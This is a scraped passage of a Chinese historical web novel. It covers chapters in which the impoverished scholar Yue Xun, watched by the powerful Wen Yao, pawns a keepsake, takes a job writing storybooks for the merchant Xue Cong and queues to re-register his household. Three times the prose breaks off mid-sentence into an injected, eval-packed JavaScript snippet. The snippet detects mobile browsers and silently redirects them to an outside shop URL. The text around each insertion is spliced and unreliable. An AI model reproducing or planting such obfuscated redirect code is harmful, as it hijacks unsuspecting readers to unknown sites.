昨日正月初一,宁王府上筹备年节,正忙乱着,他就趁着这个当口跑了。 他说怎么逃走的时候这么顺利,还当自己有多聪明呢。 他今日刚动了逃跑的打算,温杳后脚就撤了他家门口监视的人,这哪里是他趁乱跑出来,这分明就是温杳放他出来的! 岳旬的心又擂鼓似的打了起来——他这是猫抓老鼠、遛着自己玩呢! 今日看似放他一马,等来日玩腻了自然就一刀宰了。 心跳的声音越来越大,激得岳旬烦躁起来,只觉得磨牙吮血不能解其恨。 “哥儿?”周七见岳旬不回话,有些着急,握住了他的小臂,“大哥儿走了这么几日,是不是又是因着中丞大人……因着姑爷的事?都已经过去这么久了,是要论罪还是要追抚,总该给个准话啊!” “是因着父亲的事。”岳旬猛然被喊回了魂,一抬起头来,瞳仁星子一样在夜里闪着光,总让周七觉得像是年轻时候在野地里见过的狼,“尚没有定论,如今没有定论便是最好的消息。兵部的塘报寻不到,又没有旁的证据,这事儿是在六部九卿面前过了明路的,没那么好黑不提白不提混过去。” 他才说了两句话,就觉得口干舌燥,不由得咽了几口唾沫:“想要轻易让咱们认下这件事,恐怕没那么容易!” 周七不听到罢了,一听就觉得不得了,不知岳旬这几日究竟受了什么苦楚,为何穿着辽东军的服制。他赶忙强睁着一双昏花的老眼,仔仔细细把岳旬看了一遍:“大哥儿,你……没出什么事吧?” “没事,出不了事。”岳旬低下头去,心跳不曾平缓,他怕让周七看出异样,只好别开脑袋扯谎,“只是东奔西走了几日,实在是累得眼皮要打架了。” “是老奴的不是了。”周七借着微弱的月光看去,岳旬眼下确实有些青黑,“大哥儿你先歇下,有什么事明日起来再说。” 周七默默退了出去,只留岳旬一个人在房间里。 蹦跳的心脏依旧鼓噪,不知停歇,岳旬给自己到了两杯凉水,尽数喝了下去,依旧觉得口干舌燥。他心里烦躁,合衣仰躺在床上,听着心跳像砸在床板上一样咚咚响。 温杳。 温杳。 总有一天温杳的权势会日渐衰落,而他会踏进那个深不见底的漩涡。他们二人必然有一日将要“白刃不相饶”。 可偏偏是这种时候,岳旬的脑中浮现出的却是温杳的脸。 他在殿上崩了满脸的血,垂着眼眸用衣摆将断刃擦干净。那双手上不知沾过多少鲜血,可擦干净了却依旧白得发透。 淡青色的血管蜿蜒在手背上,青绿的枝蔓里奔腾着的是两族的鲜血,这两种本不相容的血脉纠缠混合,磋磨二十载,才成了温杳这样一个人。 他合该是个怪物。 当他用这样一双手握住刀的时候,是不是无论杀向何方都算是屠戮亲族? 岳旬的心跳依旧聒噪不止,将岳旬的血以相同的方式泵往全身。他被吵得翻来覆去、辗转反侧,甚至觉得自己的耳膜都被偾张的血流冲刷得鼓了起来。 温杳。 都怪温杳! 岳旬鲤鱼打挺一样呼啦直起身来,抱着自己的头刚想嗷嗷叫唤就觉得可能要扰民。周七哪怕能把扫帚打出七七四十九路打狗棍法,那也打不过自家那个泼辣的寡妇邻居,于是只好无声地尖叫,“咣当”一声又直挺挺砸在了床板上。 他裹着被子疯狂翻滚着,像一条春天落雨时候破土而出的蚯蚓。 这该死的温杳! 岳旬从没想过自己第一回辗转反侧、寤寐思服,竟然是因为温杳这么一个人! 他自暴自弃拿被子蒙住了头,任由聒噪的心跳声,在被子裹出的狭小空间里愈发明显。 岳旬不知道是什么睡着的,总归第二日醒来的时候已经日上三竿。 家里没什么米粮了,周七只得闭着眼睛抓了一把,胡乱煮成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163791|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一锅,跟岳旬一起喝了个水饱。 本来这也没什么,南渡一路上岳旬什么没吃过。坏就坏在前两日住在宁王府里,宁王的彭管家哪里敢苛待他,顿顿七八个菜地伺候着,屋里的点心果子流水似的端上来,每日就没重样过。 好的吃过了,再吃糠咽菜自然有些难受。 都怪温杳。 岳旬气不打一处来,拿把干净筷子伸进腌菜坛子里夹起一大口梅干菜,愤愤塞进嘴里。刚嚼了一口,咸得他一个哆嗦。 岳旬龇牙咧嘴伸出舌头,实在没舍得把这口咸菜吐出来,连喝了两大口稀饭。等他把剌嗓子的麸糠连带着这咸得要死的梅干菜生生吞下去,眼睛都憋大了。 去年快入冬的时候隔壁寡妇腌梅干菜,备着过冬。他也跟着人家去割芥菜学着腌,他头一回腌这东西,全是照猫画虎,谁承想能这么咸,他就算是头健壮的牛犊子也要给咸倒了。 咸得他差点要看见他早死的亲娘! 岳旬又往嘴里猛灌两大口稀粥,眼泪叭嚓——天晓得盐巴有多贵,他就是被咸死也不敢把这坛梅干菜扔了。 等嘴里的咸味压下去,岳旬也喝饱了,一抬眼就见着周七坐在桌边欲言又止地看着他。 感觉一准儿没好事。 “怎么了?”岳旬为了说话,赶紧想把嗓子眼里的麸糠咽干净。咽不下去,抻脖瞪眼,脖子差点要伸到二里地之外。 “大哥儿啊,年前的时候这房子的东家来过一趟。”周七眼见着岳旬的脖子伸得更长了,生怕他要噎死,赶忙询问,“哥儿噎着了?” “没有。”岳旬心如死灰,两眼麻木,“你接着说,我受得住。” “哦,先前是说想让咱们年关之前就把今年的租子给了,说大过年的也不好来讨钱。但是当时哥儿不是不在家。”周七观察岳旬半晌,发现他确实没有要噎死或者呛死的迹象,这才放下心来,“家里哪里还有现钱?自然是给不了他,结果东家看门口有鹰犬守着,吓得又一溜烟儿逃了。” 完了。 岳旬的嘴角抽了抽。 交租子是暂缓了,可是后头这房子能不能住得可就不好说了。 这房子是个一进的小院子,中间用墙砌了。一边住的是岳旬和周七,另一头是个寡妇和她八九岁的儿子。价钱便宜,那房东又不大忌讳,寡妇也住得,岳旬这种连户籍都还不明不白、是不是要获罪都不清不楚的,他也不打听。 当初不知道在金陵城里跑了多久才找着这么个地方。 可是,人家确实懒得问自己从哪来的,要到哪里去。可是门口守着朝廷鹰犬就有些太吓人了,稍有不慎恐怕就要小命不保,这样的人,有谁敢给他租房子。 岳旬要死不活揉了一把脸:“周伯,我小时候戴的那个项圈是不是还留着呢?” “那是姑娘留给哥儿的东西,自然收得好好的。从京师到金陵这样远的路,我一直揣过来,从来没遗失过。” “当了吧。”岳旬眼见着非常激动比比划划的周七僵在当场,不知道该说什么,只好闭上眼睛,“够活好一阵子了。” 周七嗫嚅半晌,还想说点什么,就被岳旬轻轻打断了。 “当了吧,就算我娘泉下有知……大约也不会怪我的。” 8. 第八章:朱门酒肉 周七从前在岳旬家里做大管家,管的都是大宗进账,做的都是大决断。底下下人捧着,进出都有人伺候着,比个小户人家的老爷还要强上不少。 他过了半辈子舒坦日子,四体不勤五谷不分,如今年纪又大了,颤颤巍巍的。和岳旬住在一起,很难说到底是谁在照顾谁。 “我苦命的哥儿哟……当初老爷夫人就姑娘一个女儿,眼珠子似得疼着,舍不得嫁远了。”老人家年纪大了,听闻岳旬说要当项圈,不免眼眶又湿润起来,唉声叹气,“老爷千挑万选最后选着了自己的学生做姑爷,只可惜哥儿一落生姑娘就去了……我可怜的姑娘哟……” “别介……别哭了周伯!当个项圈罢了,这又是个什么大事!”岳旬见周七就害怕,生怕他哭起来要停不下来。安慰了一会儿没见一点作用,别无他法,只好赶紧给他挑了一筷子梅干菜。 周七塞进嘴里,果然卓有成效,眼泪立马就干了。他两眼发直,端起水碗来往里吨吨灌了两大碗,再抬起眼来的时候已经想不起来到底是岳旬命苦还是他命苦了。 岳旬见他止住了哭,趁热打铁,赶紧转移话题:“今天是个大晴天,日头这样好,咱们吃完了饭把我的书都翻出来在院子里晒一晒吧!全闷在箱子里,不让虫吃了也要发霉。” 周七目光呆滞,只会点头。 “下午咱两个分头,周伯你去当项圈。”岳旬看着周七颤颤巍巍的老胳膊老腿,下定决心,“我去街上转转,找个长久的赚钱营生!总不能一直靠当东西活着!” 在被可怕的瓷人捉去之前,岳小公子的主要收入来源有——帮街坊邻居写信、教寡妇他儿子识字、给弹琵琶的女乐写曲子词、算命骗钱。 都是平头老百姓的,能花多少钱支持他的“事业”?总归零零散散赚下来,饿不死都很勉强,没一个是长久之计。 想要供他自己读书科考,那更是想都不要想。 要不怎么说读书人金贵呢?岳旬把成箱的书在地上铺开,平平整整铺了一整院的时候,脑海中只有这么一句话。 他粗略计算了一下—— 一个不事生产的读书人,要让他考到秀才,一年延师请教、纸张笔墨、经传集注的费用,就得要十几二十两的银子——江南一亩上好的良田,不旱不涝、不灾不病,打出来的粮食一年到头顶破天能换得二两白银。 十亩良田,举家之力,才能供得一个读书人一年的花销。 可又有多少人家,拿得出这十亩良田呢? 这还只是供到秀才,再往后那更是花钱如流水,所以大胤读书考举大多得背靠宗族。 他岳旬还哪里来的宗族? 现在只能庆幸自己南渡一路上都护着这些书籍,几乎要到“人在书在、书毁人亡”的地步,这样才勉强攒下来些“家底”,起码购买经传集注的费用能省下来不少了。 可是…… 岳旬看看家中年迈的周七,看看自己腌的那一坛子齁咸的梅干菜,再看看自己这一地的书。 他浑身上下每一个骨关节、每一个汗毛孔都发出了无声的叫嚣。 钱!钱!钱! 到底怎么样才可以弄来钱! 不等他想出个妥帖的法子,人已经走在了大街上。 金陵城还沉浸在年节的氛围中,到处都有穿得厚墩墩的小孩子,手里攥着热腾腾的吃食。大胤人向来是如此,不管日子怎么难过,年节还是要过得,仿佛一年到头来就只是为了这么一个盼头。 有了盼头,才好数着日子将岁月挨过去。 岳旬揣着袖子,顿觉希望渺茫。正是年节时候,哪会有人家在这种时候招揽人过来? 他拢了拢自己袖中的几张薄纸,这是他新近填的曲子词,是要送到云韶院里去的。要是找不着什么的活计做,送完这一趟他就又得回家! 这样想着,岳旬一只脚已经踏进了云韶院。 甫一进门,他就被兜头而来的香风逼得打了个喷嚏,赶忙拿袖子遮住了眼睛。等再睁开眼睛,迎面而来的是个娉娉袅袅的姑娘,笑嘻嘻地贴了上来:“爷,今日鸣翡姑娘弹琵琶,赏脸多留些时候呗?” 岳旬赶忙把袖子放下来,指着自己一张脸:“芍药姐姐,是我!我来送新填的曲子词!” 芍药终于看清了来人,鼻子喷气哼了一声,收了他手里的几张纸:“原来是你小子——这回怎么这么晚?不是说好了年前送来的。” “有点事绊住脚了。”岳旬不好和人明白说话,只能打哈哈。 芍药看他一脸欲言又止的模样,一边“哼”地笑了一声,一边瞟了几眼手里拿着的薄纸,从裙子上解了一吊钱下来,数了几十枚搁在岳旬手里:“躲债去了吧!” 确实是债,但不是这位芍药姑娘想的那个债,岳旬没办法给她解释,只能继续含含混混瞎说八道,拿手背蹭了一下鼻子:“差不多吧。” “让人打了?听着怎么还憋着气呢?”芍药把眼睛从纸张上挪到岳旬脸上,见他果然是一脸“士可杀不可辱”的模样,也皱起眉头来,“下回有人要打你你就躲到咱们这儿来,随便给你藏到什么地方,保准旁人找不着——姐姐们还能真眼睁睁看你叫人给打死了?” “姐姐仗义。”岳旬听见这话,也不好再摆什么想起温杳时的臭脸,冲着那姑娘眉开眼笑,这一笑就露出嘴角一个笑涡来,和眼角的桃花色相映成趣,“这种事哪能连累姐姐们呀?没事,没多大事,我自己处理得来。” 两个人才聊了两句,只听“铮!”地一声响,顿如刀兵出鞘弓拉满月,整场的人都静了下来。岳旬一回头,眼见着所有人都朝着那个方向去了,拍着巴掌、打着呼哨,好像演马戏的家里养的猴子。 岳旬循声看去,只见一个十七八的女乐,想必应是方才听过的“鸣翡姑娘”。这样冷的天气,这姑娘仗着云韶院中点着火盆,只在大红主腰外头罩了件翠色的无袖褂子,露着两条玉似的胳膊,上头各套个水头极好的翡翠镯子。 岳旬支棱着脖子又往前探,很快便出乎意料地一挑眉。 那女乐纤眉长目,生得不算是绝色,甚至可以说有些寡淡。可莫名就让人觉得这姑娘风骨卓然,令人见之忘俗。 自那声弦响过后,弦音一路急转,直拨出一阵刀剑鸣响。外头接连几日的雪还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163792|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停,那琵琶声正巧是一番铁马冰河。这秦淮河畔是宝马香车满街的温柔乡,奏的也多是些红袖添香夜读书的风流事,鲜少有人在此处奏这样的曲子。 弹的不是什么盛世的破阵乐,那弦音一阵凄风苦雨,直往人心里钻。 岳旬拢了拢自己的衣襟,忽觉得这楼里点的暖烘烘的炭盆也不那么热了。 这琵琶弹得确实不俗,成锭的银元雪团似的就往台上扔。二楼有个年轻的纨绔从仆从手里抓了一把不知什么东西,冲着鸣翡的方向扬手一洒,登时漫天飘飞的都是“隆靖宝钞”。 端的是“五陵年少争缠头,一曲红绡不知数”! 岳旬见了这场景,苦笑唏嘘不出来,甚至有些不知痛的麻木。他扯开笑脸,冲着芍药一拱手:“姐姐,东西我已经送到了,就不在这里多留了。” 芍药倚着门柱子嗑瓜子,支棱着两耳也往琵琶声的方向凑过去,闻言一扬手:“去吧——不再多听几耳朵?不要你打赏。” 岳旬脸上带笑,冲着人躬身行礼,默默往外退。 云韶院里的纨绔还在漫天洒着他的隆靖宝钞,雪片一样的宝钞刮擦过岳旬的脸。他一抬手,那张宝钞就落在了手里,上面花花绿绿纹着大胤最吉祥的纹样。 隆靖二年伊始,这宝钞也不过发行了一个年头,岳旬还是头一回见。他把这张宝钞举起来,透过云韶院里昏黄的灯光,仔细辨认着上面的数目。 这一贯宝钞,就值一两白银,也就是一吊钱——一千枚钱。若拿到指定的钱庄去,是实打实能兑出一两白银的。 他把这张宝钞握在手里,上上下下地看,几乎要将每一个花纹的样式每一笔字的走向刻在心里,仔仔细细端详了快有一盏茶的工夫。 可他最终还是轻轻一哂,将这张隆靖宝钞扬手一掷。宝钞轻飘飘的,被鼎沸的人声冲击得上下翻飞,艰难前行,最终回到了鸣翡姑娘的身侧。 岳旬头也不回地走了。 二楼天字一号房的窗户正开着,倚着栏杆坐着位年轻的贵人,不往名动金陵的鸣翡姑娘那处看,却偏偏盯着岳旬出门的方向,一直盯着他走出了门:“放他出去才一日工夫,倒是过得逍遥啊。连这样的地方也要来凑凑热闹,我看是心里一点儿不装事儿。” 旁边抱着刀的正是又有两日没见的魏广,听自家主子这个语气,眉头不禁抽搐了一下。欲言又止了半天,半句话都没说。 他不说话,旁边却凑过来另一位贵胄,瞧着也不过二十四五的年纪:“远归,瞧什么呢?这么好的琵琶不听一听?” 杳者,远也。这喊的是温杳的字。 “没什么,一个有意思的小东西。”温杳转了两把手上的扳指,翠色如水,比从前他在辽东打仗时缴获的每一个成色都要好,“表哥,你没见过他吗?” 温杳的眼神从扳指上挪到了那人的脸上,一句“表哥”喊得人心惊肉跳。 可这人神色如常,很无辜笑了一声:“我怎么认得他是谁?” “哦,那很好啊。”温杳收回了目光,嘴角噙上了笑,一点也透不到眼底,“反正只是个不听话的小玩意儿,不必管他。” 9. 第九章:薛大东家 云韶院转过两圈,街角处是个背阴面,里头猫着个人。 正是刚才被钱洒了一脸,从云韶院中出来的岳旬。他不走回家的路,反而悄默声地猫在这里,十分警惕地观察着四周。 他觉得后面有人跟他,而且还不像是温杳的人。 那可怕的瓷人手底下什么样的人没有,不过是跟个他这种无名小卒,不想让他发现那不跟吃饭喝茶一样容易?除非是故意想让自己发现。 那就是一种猫溜耗子无处遁形的感觉了。 岳旬被捉去前让温杳和康王的人连跟了好几日,那群人什么行事风格,他摸得门儿清。 可这一帮人,只是不近不远地死跟着,没什么水平,很快就让岳旬给发现了。 到底是谁的人要找他?岳旬蹲在阴影里直嘬牙花子——他什么时候这么金贵了,三天两头有人跟着他跑? 岳小公子并不打算坐以待毙,左右瞧着没人,弓身往上一窜,轻轻巧巧就上了墙。惹不起他还躲不起吗?干脆一口气甩开了拉倒! 他猫似的缩在在屋脊墙沿的阴影里,乱转着圈子,连翻了好几堵围墙,终于觉得黏在自己身上的视线消失了。 岳旬哼了一声,拍拍身上的灰,腰一弓就往地上跳。 刚一落地,脚还没站稳呢,岳旬抬眼就看见一张白团团的大脸伸在自己面前。这突然一下子,当场给岳旬吓了一个哆嗦,连连往后退了好几步,“砰”地一声撞在一个墙高的东西上。 不是墙,是软的,好像是个人。大约是这个大白脸带着的高个儿仆从。 再往前看,那大白脸穿着个湖绿的大袖直裰,外面罩着件石榴红的褡护。这穿红着绿的大白脸手里捏着个洒金折扇,“呼啦”一声展开,上面老大一个“薛”字。 不就正是云韶院里撒钱那位纨绔? 岳旬的白眼快翻到天上去了,这大冷天的,拿把扇子在那扇乎,不嫌冷吗? 温杳对他围追堵截就算了,那好歹是因为他对他有些政治作用,这姓薛的堵他做什么?撒他一脸隆靖宝钞,自己还没找他的事呢,他反倒自己找上门来了? 这样一想,岳旬连自己的白眼索性都不藏了。这姓薛的若是非要寻他些不痛快,那他这光脚的可不怕穿鞋的。 “薛公子跟了我一路了,如今又将我堵在此处,究竟意欲何为?”岳旬冷笑两声,他记得方才落地的时候有块砖是松动的,摸了两下,果然掉出半块来,他用手把这半块砖狠狠扣住了,“咱们二人无冤无仇,您恐怕都不认得我是谁吧?” 这个姓薛的看打扮看行径都不过像个暴发户,他要真是想为难自己,那他就大可以在打起来之前先搬出温杳狐假虎威——我是从宁王府出来的,您总不想惹到宁王他老人家头上吧。 管他是偷还是跑,总归是宁王府出来的。 姓薛的咳嗽两声,收了扇子,直直上前两步,竟然携住了岳旬的手:“对勿起,冒犯脱侬了。我伲寻侬其实是有桩事体想求侬帮帮忙,侬看看,搿是勿是侬写个啊?” 这姓薛的带些江浙口音,官话说得不利落,岳旬又听不大懂吴语。两个人大眼瞪小眼很是瞪了一会儿,岳旬才发现他手上拿的纸张是方才他送去云韶院的曲子词——不是原版,是誊抄了一遍的。 他拼拼凑凑大概明白了这姓薛的纨绔的意思,挣脱开了他的手:“是,那又如何?” “灵光得来!”那姓薛的激动起来,追着岳旬就往他手里塞了两张隆靖宝钞,眉毛都要飞起来了,“我伲钟意鸣翡姑娘,今朝伊一眼都朆睬我,宝钞掼脱交关。我伲觉着伊弹唱个曲子邪气灵,穷拍伊马屁,啥人晓得伊真个拿我当个角了!侬写个搿阕词真是帮了大忙哦!” 这姓薛的纨绔在旁边眉飞色舞手舞足蹈在旁边疯狂比划,一激动越说越快越说越快,听在岳旬耳朵里就只剩下了“叽叽呱呱”。他看了看叽里呱啦的薛纨绔,又看了看他递在自己手里的两张隆靖宝钞,面目逐渐扭曲起来…… 不是??他要干什么??? 姓薛的越说,岳旬的脸色越不对,他比划了半天终于意识到了问题的所在。他看了一眼自己山一样高的仆从,拧了半天舌头,终于从嘴里蹦出两句蹩脚的官话:“我是说,侬这阕词帮了我大忙了,我随口夸了几句,让鸣翡姑娘都多看我一眼。” 哦,原来是这事儿。 岳旬许久没听过别人真心实意夸奖他,尤其是夸奖他写的东西——虽然词赋一类向来算不上什么正经课业。但久旱忽逢甘霖,竟然有些骄矜起来,很是谦逊地朝着姓薛的一拱手,把那两张隆靖宝钞往回推:“不敢不敢,薛兄谬赞了。” 岳旬把宝钞往回推,姓薛的纨绔把宝钞又往他手里塞,愣是推脱出了一种过年节长辈给小孩发红包的架势。如此“三请三让”之后,岳小公子才心安理得收下了薛大纨绔手里的宝钞。 姓薛的塞钱塞得满头大汗,看岳旬终于接下了钱大大松了一口气,又把他那扇子打开晃了两下:“我这里有一件差事,想请侬帮帮忙,侬看看好勿好的呀?” 岳旬拿人的手短,眉开眼笑:“薛兄但说无妨。” “啊,我叫薛琮,表字廷璧,侬叫我廷璧兄就好了。” 薛琮一说起话来就激动,在狭窄的巷道里手舞足蹈,险些把他金贵的扇子磕散在墙上:“侬也晓得,我钟意鸣翡姑娘。现在侪流行看才子佳人闲话本子,我想请侬帮我写一本,就写我搭鸣翡姑娘的故事!闲话本子写得好末,再写戏本子,拿伊弹唱出来,还怕鸣翡姑娘不对我有意思啊?” “这个好说,就是到时写出来,不要属我的名字——属我的别号就成!” 这活计岳旬不是没做过,就是跟给云韶院写曲子词一样,对他这个读书人来说,实在有些上不得台面。 他家从前是个正经的清贵读书人家,案头上摆本淫词艳曲那是要家法伺候的!要是他写话本的名声传扬出去,让他家那几位祖宗知晓了他现如今沦落到靠写这种东西维生…… 岳旬默默咽了一下唾沫。 那他老爹、他外祖父、他两个舅舅,就算是尸变了也要把棺材板顶开爬出来,一人几板子把他抽得皮开肉绽! 可他又有什么办法呢? 岳旬从前在家的时候是个衣食无忧的小公子,现如今兜比脸还干净,遇上这样长久的赚钱活计,实在没有拒绝的理由:“话本子从前就写过,问题不大。戏本子……你是要南曲北曲?昆腔还没写过,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163793|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知能写成什么样。” 薛琮张开五根手指,摇头晃脑:“阿拉屋里向养了交关笔杆子,都帮我忙写话本个生活,每月都有一吊的月钱。侬假使真个写来老灵光,我能给到侬这个价。” “千字五文吗?”岳旬在心里盘算着,觉得这个活计确实还不错,“这个价我倒是也写过。” 谁知薛琮陡然色变,叽叽呱呱叫了起来:“开啥个玩笑?侬当吾是葛种小气巴拉个宁啊?吾讲个是五两白银子,一千个字五两白银子!” “五两?五两银子?”岳旬再听不懂吴语也从他的话里捕捉到了那最关键的“五两白银子”,眼睛立刻鼓了起来,一把抓住了薛琮的手,“薛大东家!” “就算是昆腔,昆腔也写得!”岳旬郑重其事振了振胳膊,铁钳一样钳住了薛琮,“薛大东家您放心好了,我定然写得出来!” 他二人在这里,一个要立誓要发愤图强,一个捡到了想要的笔杆子而眉开眼笑,总归非常和谐。 在他们不曾留意的街角,一抹影子一闪而过,快得好像是错觉。 没有一个人发现他。 岳旬的直觉很准,自他从云韶院出来不久,就有人跟上他了。 但不止有薛琮。 还有那位逮耗子溜着玩的猫。 这可怕的瓷人对自己新得的扳指好似格外留意,面带笑意张开手掌,对着光将这小玩意儿看了又看:“啧啧啧,你瞧瞧,他这一天到晚结交的都是些什么人呐。” 魏广觑着温杳的脸色,觉得他勉强还称得上是心情不错,于是开口调笑道:“主子若不喜欢,我这就去把那人给打发了,让他再也不能出现在金陵城里!” “别介呀!管他的呢。老九那事还得处理,过两天年过完了我还有的忙,你只要派人把他给我盯住了,别让死了就成。”温杳轻声一笑,把翡翠扳指从大拇指上摘下来,往天上一抛,转眼间又落在手里。 他把落进手心的翡翠扳指不管不顾往魏广的手里一塞:“你这几日辛苦,赏你了!” “这怎么成!”这翡翠扳指的成色魏广看着都倒吸凉气,实在不敢接下来,“这可是姜家大爷贺主子生辰的礼!” “呵。”提起那姜家大爷,也就是他口中那位“表哥”,温杳唇边笑意不减,眼里却逐渐冷了下来,“今日在云韶院,他撒谎。” 魏广皱眉思量,好像有点明白他主子的意思了。 “姜含是庆国公姜家的长子,他弟弟同他弟弟的未婚妻陆明烟,和岳旬是打小的交情。岳旬攀的是他外祖同庆国公家的关系,三个孩子自幼玩在一起,更别提当初还是庆国公夫人庇佑着这三个半大孩子南渡的。” 日光斜斜洒了过来,温杳受不得光似的眯上了眼睛,把他琥珀色的瞳仁藏在了眼皮里,看着正在说话的魏广。 “就算他弟弟小时候他早就上辽东历练,就算姜家南下的时候他正跟着辽东军打仗,与岳旬确实不大熟悉。但他要说完全没见过岳旬,甚至连认都不认得,实在不大可能。” “哇,真聪明呢。”温杳瞥了魏广一眼,语带嘲讽,眼睛里终于也带上了笑,好似把西斜的日光全敛进了他那双琥珀色的眼瞳,“士别三日当刮目相待呀。” 10. 第十章:户籍黄册 大胤自光义朝开始,有钱有权的人家豢养些文人清客在家里吟诗作赋已成了常事;还是自光义朝开始,印绣像的话本价钱贱了许多,手里有点闲钱的人都会去集上淘换一两本新鲜有趣儿的话本子以供消遣,这也是常事。 但岳旬还头一回见豢养文人清客在家里专写话本戏文的。 但不论怎么说,他这样的身份这样的境况,这已经算是现在能找到最好的营生了。 薛琮识字,但是个不大读书的人,每日最大的乐趣便是看话本听曲子。可他这样一个纨绔,却有一个巨大的书房。每个被他供养的书生清客都可以凭腰牌进去读书,笔墨纸砚不限量供应。 岳旬进去看过了,里面经史子集、鬼狐野史、淫词艳曲样样俱全——薛大东家说了,若是他供养的书生考上那么一两个,那也是他面上有光。 这不稀罕,做主家的大都会资助清客读书科考,今后不论是谁登科做官,都念着从前的主家一份人情。 最重要的是,薛琮这里供给像样的一日三餐!岳旬如今刚好是半大小子吃死老子的年纪,正是长个子的时候。个子是往高里抽,可看肩背还是个单薄的孩子样,远远走来,人同麻杆一样细。 往日晨起在家中喝稀饭喝个水饱,还没到晌午就饿得眼冒金星。 可薛家不同啊!薛家早晨喝白米粥,里面有蛋丝;吃白面馒头,还配四样小菜。这都是精米精面,连酱菜的味道都可口非常,可不比岳旬自家吃的剌嗓子的麸皮,以及咸得能看见太奶的梅干菜。 是以,岳旬不管能不能写出来东西,每日风雨无阻,第一个上薛家点卯——就为了赶上薛家放早饭。 从正月初三到十五,旁人都在家里过年,只他一个连吃带拿,日日在薛家混饭。等到出了正月十五,街上陆陆续续也热闹起来,朝廷各衙门也陆续开了张,薛大东家要的字数也算是写够了。 岳旬把小菜夹在馒头里,喝了两大碗稀粥,心想着明日薛琮才来读他和几位清客写的话本,心思有些浮动:“管家。” 负责放饭的薛家管家抬眼,看岳旬把鼓鼓囊囊的两腮迅速咽了下去,觉得有些好笑:“岳公子有事尽可以吩咐老奴。” 薛家的老管家大约是瞧着自家东家的纨绔样子瞧惯了,见了他们这些读书的清客向来十分客气,于是岳旬也恭恭敬敬摆出一张讨人喜欢的笑脸儿来:“今日东家来不来?” “今日恐怕来不了。今日宁王设宴款待江南几位做海贸的商人,丝绸商去了好几家,独咱们薛家是松江府做棉布生意的,必须得去一趟。”老管家见岳旬碗里的粥空了,主动上前来给他添了一勺,“岳小公子若有什么要紧事找东家,今日恐怕是不能够了。” “倒不是什么要紧事,只是我想要告个假。”岳旬单看薛琮那日的行径,就大约知道这家伙家里是不缺钱的,而且大家都喊他“东家”而非“少东家”,只能说明家里的实际掌权人就是薛琮自己。 薛家做海贸这事岳旬也早就想到了,如若不是做海贸,寻常商户家中哪里来的这样多的隆靖宝钞?只是没想到薛家搭的竟然是温杳这条船。 士农工商,商字垫底。可若是皇字当头,那就不可同日而语了。 “无事。”老管家冲着他点点头,这个时候薛家其余的清客才来陆陆续续点卯,老管家一边吩咐着下头人给清客们打饭,一边拿出本子来给岳旬看,上面满满打的全是勾,“公子今日来点过卯了,每月的一吊月钱是少不了的,自去处理自己的事就成。只是岳小公子别忘了,明日东家要来看各位相公写的东西,一整日都得在。” 岳旬心里想着那千字五两的价钱,哪有不应下的道理?又同薛家的老管家聊了几句有的没的,抬脚告退。 他这是要往后湖去,那里通管着全大胤的户籍黄册,由户部专设了户房衙门管理他们这些北地南渡来的人的户籍。 岳旬到金陵也小一年了,终日东奔西跑、惊慌不堪,为一口饭的事发愁,到现在身份上还算是个不明不白的“流民”。他当年在京师的时候就考过府试是童生了,要想参加今年四五月份的院试,那就必须捡回他的“童生”身份。 虽说如今北地户籍的人政策放宽了许多,不需要两个同乡保举,只凭先前的户籍和路引就能办下户口。他若要一直是个“流民”,那就连考场也进不去了。 如今解决了最要紧的吃饭问题,这个便是第二要紧的事! 岳旬没钱雇轿子坐马车,腿儿着硬生生跑到了后湖,刚到衙门口就两眼一黑——内阁自然是大年夜里也能揪起来干活儿,可户房衙门直到昨日还在休假,今日一开张,门口堵得是人山人海水泄不通。 衙门配的小吏大声吆喝着要前来处理户籍的百姓站好排队,门口的百姓无头苍蝇一样一坨一坨凑成堆,被衙门的小吏赶来赶去,终于排成了几条直溜的队伍。 岳旬一撇嘴,站在了队伍的最后,百无聊赖揣着自己袖中的几张纸——这不知道要排到猴年马月,早知就带个馒头出来啃了。 家中有些权势的,户籍早就办完了,如今来自己跑的都是些无权无势的小老百姓。识字的不太多,又操着南腔北调的口音,和金陵本地的文书胥吏沟通起来稍微有些费力。 户部十三个清吏司的主事来了四个,各分一张桌子,几个户部主事并着文书全都嚷嚷得声嘶力竭,办一个人就要喝一大杯茶水。 岳旬就听着他们南腔北调地嚷嚷,一边默默在心里温书一直从清晨等到晌午,才算是排到了。 等到他的时候面前问话的文书已经麻木了,傀儡似的重复:“原户籍在何处?” 岳旬照答:“北直隶,顺天府。” 